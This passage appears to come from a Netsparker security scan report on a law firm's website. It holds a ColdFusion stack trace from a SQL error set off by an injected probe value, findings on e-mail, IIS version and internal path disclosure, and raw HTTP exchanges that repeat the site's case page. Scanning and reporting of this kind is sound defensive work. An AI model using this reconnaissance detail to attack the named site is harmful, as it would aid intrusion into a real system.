<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get(&quot;DefaultAction&quot;);<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: &lt;/cfscript&gt;<br>396: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature &amp; &quot;Feature&quot;].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set(&quot;MainContentArea&quot;, MainContentArea);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.&lt;init&gt;(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /cases.html

/cases.html

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102

Found E-mails

Request

GET /cases.html?action=caseDetail&CaseID=102 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 12 May 2011 11:48:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Set-Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT,CFTOKEN=0; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>CKx</title>
<meta name="description" content="CKx Inc. CKXE merger Apollo Global Management" />




<link href="/main.css" rel="stylesheet" type="text/css" />

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>CKx</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>CKXE</p>

<p class="item_name">Class Period:</p>
<p> &#8211; </p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

</div>
<div class="column_rt">
<img src="" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="102" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p>&nbsp;&nbsp;&nbsp;&nbsp; Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (&ldquo;CKx&rdquo; or the &ldquo;Company&rdquo;) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br />&nbsp;&nbsp;&nbsp; The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share.&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102', 'CKx')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1"><img src="/images/printericon.jpg" width="40"></a>
</td>
</tr>
</table>
</div> <!-- End right content-->


</div> <!-- End content-->
<div id="footer"> <!-- Start Footer-->

<div id="footer_menu"><a href="/the-firm.html">The Firm</a> <a href="/Locations.html">Locations</a> <a href="/attorneys.html">Attorneys</a> <a href="/other/class-action-faqs.html">Class Action FAQ&lsquo;s</a> <a href="/other/disclaimer.html">Disclaimer</a> <a href="/other/privacy.html">Privacy</a> <a href="/other/site-map.html">Site Map</a> <a href="/other/search.html">Search</a></div>
<div id="footer_right">
<p>Copyright 2008. Pomerantz Haudek Grossman &amp; Gross LLP</p>

<p>Attorney Advertising. Prior results do not guarantee a similar outcome</p>
<a href=" http://www.elawmarketing.com " target="_blank">Law firm website by eLawMarketing</a>
</div>
</div> <!-- End Footer-->
</div> <!-- End wrapper-->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10112362-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /cases.html

/cases.html

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102

Extracted Version

Microsoft-IIS/6.0

Request

GET /cases.html?action=caseDetail&CaseID=102 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 12 May 2011 11:48:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Set-Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT,CFTOKEN=0; domain=www.pomerantzlaw.com; path=/; expires=Fri, 10-May-2041 19:39:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>CKx</title>
<meta name="description" content="CKx Inc. CKXE merger Apollo Global Management" />




<link href="/main.css" rel="stylesheet" type="text/css" />

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>CKx</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>CKXE</p>

<p class="item_name">Class Period:</p>
<p> &#8211; </p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

</div>
<div class="column_rt">
<img src="" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="102" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p>&nbsp;&nbsp;&nbsp;&nbsp; Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (&ldquo;CKx&rdquo; or the &ldquo;Company&rdquo;) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br />&nbsp;&nbsp;&nbsp; The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share.&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102', 'CKx')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1"><img src="/images/printericon.jpg" width="40"></a>
</td>
</tr>
</table>
</div> <!-- End right content-->


</div> <!-- End content-->
<div id="footer"> <!-- Start Footer-->

<div id="footer_menu"><a href="/the-firm.html">The Firm</a> <a href="/Locations.html">Locations</a> <a href="/attorneys.html">Attorneys</a> <a href="/other/class-action-faqs.html">Class Action FAQ&lsquo;s</a> <a href="/other/disclaimer.html">Disclaimer</a> <a href="/other/privacy.html">Privacy</a> <a href="/other/site-map.html">Site Map</a> <a href="/other/search.html">Search</a></div>
<div id="footer_right">
<p>Copyright 2008. Pomerantz Haudek Grossman &amp; Gross LLP</p>

<p>Attorney Advertising. Prior results do not guarantee a similar outcome</p>
<a href=" http://www.elawmarketing.com " target="_blank">Law firm website by eLawMarketing</a>
</div>
</div> <!-- End Footer-->
</div> <!-- End wrapper-->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10112362-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
[Possible] Internal Path Leakage (Windows)

[Possible] Internal Path Leakage (Windows)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.

External References

- /cases.html

/cases.html

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1

Identified Internal Path(s)

Request

GET /cases.html?action=caseDetail&CaseID=102&print=1 HTTP/1.1
Referer: http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 16965
Content-Type: text/html; charset=UTF-8



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>CKx</title>
<meta name="description" content="CKx Inc. CKXE merger Apollo Global Management" />




<link href="/print.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
window.print()
</script>

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>CKx</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>CKXE</p>

<p class="item_name">Class Period:</p>
<p> &#8211; </p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

</div>
<div class="column_rt">
<img src="" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
